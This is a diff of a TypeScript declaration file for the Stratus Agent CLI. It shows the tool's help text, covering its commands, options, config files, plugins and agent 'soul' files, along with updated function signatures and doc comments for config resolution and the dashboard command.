+ declare const HELP_TEXT = "Stratus Agent CLI\n\nUsage:\n stratus setup\n stratus chat\n stratus chat --soul ./examples/souls/ava.md\n stratus run --prompt \"Use the demo tool\"\n stratus run \"Say hello\"\n ANTHROPIC_API_KEY=... stratus run --provider anthropic \"Say hello\"\n stratus run --soul ./examples/souls/ava.md \"Say hello\"\n echo \"Use the echo tool\" | stratus run --stdin\n STRATUS_PROVIDER=openai OPENAI_API_KEY=... stratus run \"Say hello\"\n stratus run --config ./stratus.config.json --provider openai \"Say hello\"\n stratus agents\n stratus agents --gateway http://127.0.0.1:4123\n stratus doctor\n stratus service install\n stratus service status\n stratus logs -f\n stratus logs --agent ava -n 200\n stratus dashboard\n stratus dashboard --port 4123 --host 0.0.0.0 --no-open\n\nCommands:\n setup Menu-driven onboarding: pick a provider, sign in (Claude\n subscription or API key), create your agent, connect it to\n Slack, and test it \u2014 settings go to ~/.stratus/config.json,\n sign-ins and channel tokens to ~/.stratus/credentials.json\n (0600)\n chat Talk with your agent \u2014 the conversation persists across turns\n and remembered facts accumulate; /exit or Ctrl+C to leave\n run Execute one local Stratus Agent session\n serve Run stratusd, the always-on gateway: durable sessions, the\n whole roster live at once (each agent on its own provider),\n delegation, and a watchdog \u2014 Ctrl+C / SIGTERM drains cleanly\n (--idle-timeout <seconds>, --approvals <headless|remote>,\n --no-events, --no-log-file, --config <path>); everything it\n says is also written to ~/.stratus/logs, which\n \"stratus logs\" reads. With @stratusagent/control-api\n installed it also serves the HTTP + WebSocket control API\n on 127.0.0.1:4123 (--no-api, --api-host, --api-port, or\n the config file's \"api\" block)\n service Keep stratusd running under launchd (macOS) or systemd\n (Linux): install, uninstall, status, start, stop.\n Installing starts it now and at every login\n (--no-login installs without the login trigger,\n --config <path> pins the daemon to one config file)\n logs Read the daemon's log from any terminal: -f to follow,\n -n <count> for backlog, --agent / --session to filter,\n --format json for the raw records\n agent new Create an agent identity (generates a human-ish name + avatar theme)\n agents List your agents: who they are, where their souls live, what\n they run on, what they remember (also: stratus agent list).\n --gateway <url> asks a running daemon instead of resolving\n locally, authenticating with ~/.stratus/gateway-token\n (override with --token or STRATUS_GATEWAY_TOKEN)\n doctor Show what a run would use right now \u2014 provider, model, soul \u2014\n and which file or environment variable decided each, then\n flag anything that would surprise you (--format json)\n dashboard Open the web dashboard: finds a running daemon (or starts one),\n mints a single-use sign-in link, and opens your browser at it.\n Needs @stratusagent/control-api and @stratusagent/dashboard\n help Show this help message\n\nAgent options:\n --name Agent name (omit to have one generated)\n --instructions The agent's persona/instructions\n --format Output format for agent new: text, json, or soul (a ready-to-edit soul file)\n\nOptions:\n --prompt, -p Prompt to send to the local agent loop\n --stdin Read the prompt from stdin\n --provider Provider to use: anthropic, openai, or demo\n --model Model name for real providers (anthropic default: claude-opus-5, openai default: gpt-4.1-mini)\n --base-url Override the provider API base URL\n --soul Run as the agent defined by a soul file (markdown + frontmatter, see examples/souls)\n --config Config file path (run: load settings from it, setup: write it)\n --format Output format: text or json (default: text)\n --no-events Hide event-by-event progress lines in text mode\n --approvals run/chat: tool approval mode \u2014 always, ask, or never (default: always)\n serve: how the daemon reaches a human \u2014 headless (refuse every\n gated call) or remote (ask in Slack). Default headless, or\n the config file's \"approvals.mode\"\n --max-turns Maximum provider turns per run (default: 8)\n --port dashboard: port for a daemon it starts (default: 4123)\n --host dashboard: host for a daemon it starts (default: 127.0.0.1)\n --no-open Do not open the browser automatically\n --gateway agents: read the roster from a running daemon's control API\n --token Bearer token for --gateway (default: ~/.stratus/gateway-token)\n --no-api serve: do not serve the control API\n --api-host serve: control API interface (default: 127.0.0.1)\n --api-port serve: control API port (default: 4123, 0 for any free port)\n --help, -h Show this help message\n\nConfig file:\n The CLI looks for ./stratus.config.json first, then a path from --config / STRATUS_CONFIG,\n then the global ~/.stratus/config.json written by `stratus setup`.\n A \"soul\" key (or STRATUS_SOUL) points at a soul file so every run uses that agent.\n Legacy STRATUSCLAW_* env vars and stratusclaw.config.json are still supported for compatibility.\n\nPlugins (tools):\n Capability is optional: install a package, then list it under \"plugins\" in a\n TRUSTED config (--config, STRATUS_CONFIG, or ~/.stratus/config.json), keyed by\n package name. A plugin runs inside this process, so an auto-discovered\n project-local stratus.config.json may not enable one.\n\n \"plugins\": {\n \"@stratusagent/tool-fs\": { \"enabled\": true, \"roots\": [\"~/notes\"],\n \"agents\": { \"ava\": { \"roots\": [\"~/work/ava\"] } } },\n \"@stratusagent/tool-web\": { \"enabled\": true }\n }\n\n Available: @stratusagent/tool-fs (fs.read/list/search/write),\n @stratusagent/tool-shell (shell.run), @stratusagent/tool-web (web.fetch),\n @stratusagent/tool-browser (browser.goto/read/screenshot/act).\n Installing one grants no agent anything \u2014 each soul lists what it may call.\n\nSoul files:\n A soul file is markdown with frontmatter (name, provider, model, tools, credentials)\n followed by the agent's persona in prose. See examples/souls/ava.md.\n \"tools\" takes exact names or a whole toolset: tools: [fs.read, fs.search] or\n tools: [fs.*]. Omitted means every registered tool.\n";
145
168
  declare const stringifyValue: (value: JsonValue) => string;
146
169
  export declare const parseCommand: (argv: string[], env?: CliEnvironment) => ParsedCommand;
147
170
  export declare const formatEvent: (event: StratusEvent) => string | null;
148
- export declare const resolveRuntimeConfig: (command: ParsedRunCommand, env?: CliEnvironment) => Promise<RuntimeConfig>;
171
+ /**
172
+ * Kept with its historical CLI signature: a parsed run command is a
173
+ * RuntimeSelection plus CLI-only fields the resolver ignores.
174
+ *
175
+ * Those fields are *permitted*, not required. Demanding a whole
176
+ * `ParsedRunCommand` made the type claim the resolver cared about
177
+ * `approvals`, `format`, and `events` — it reads none of them — so every
178
+ * caller with a selection in hand had to invent values to get past it.
179
+ */
180
+ export declare const resolveRuntimeConfig: (command: RuntimeSelection & Partial<Omit<ParsedRunCommand, keyof RuntimeSelection>>, env?: CliEnvironment) => Promise<RuntimeConfig>;
149
181
  /**
150
182
  * A saved subscription sign-in silently demoted to per-token billing is the
151
183
  * one config surprise that costs money — an API key in the environment
@@ -160,14 +192,11 @@ export declare const runSingleLoop: (prompt: string, streams: CliStreams, option
160
192
  approvals?: CliApprovalMode;
161
193
  maxTurns?: number;
162
194
  env?: CliEnvironment;
195
+ configPath?: string;
163
196
  }) => Promise<Session>;
164
197
  export declare const printSessionSummary: (session: Session, streams: CliStreams) => void;
165
198
  export declare const runChat: (command: ParsedChatCommand, streams: CliStreams, env?: CliEnvironment) => Promise<number>;
166
199
  export declare const openExternalUrl: (url: string) => Promise<void>;
167
- export declare const startDashboardServer: (options: {
168
- host: string;
169
- port?: number;
170
- }) => Promise<DashboardServerHandle>;
171
200
  export declare const slackAppManifest: (agentName: string) => string;
172
201
  export declare const runSetup: (command: ParsedSetupCommand, streams: CliStreams, env?: CliEnvironment) => Promise<number>;
173
202
  export declare const runAgents: (command: ParsedAgentsCommand, streams: CliStreams, env?: CliEnvironment) => Promise<number>;
@@ -219,6 +248,15 @@ export declare const runLogs: (command: ParsedLogsCommand, streams: CliStreams,
219
248
  */
220
249
  export declare const runService: (command: ParsedServiceCommand, streams: CliStreams, env?: CliEnvironment) => Promise<number>;
221
250
  export declare const runAgentNew: (command: ParsedAgentNewCommand, streams: CliStreams, env?: CliEnvironment) => Promise<number>;
251
+ /**
252
+ * `stratus dashboard` — open the web UI against a running daemon, starting
253
+ * one in the foreground when there is none.
254
+ *
255
+ * The daemon is started by calling `runServe`, not by rebuilding its wiring:
256
+ * channels, approvals, the credential preflight, and the log writer are all
257
+ * decisions `serve` already makes, and a second copy of them here would drift
258
+ * the first time either side gained a rule.
259
+ */
222
260
  export declare const runDashboard: (command: ParsedDashboardCommand, streams: CliStreams, env?: CliEnvironment) => Promise<number>;
223
261
  /**
224
262
  * `stratus serve` — run the gateway (stratusd) in the foreground: load the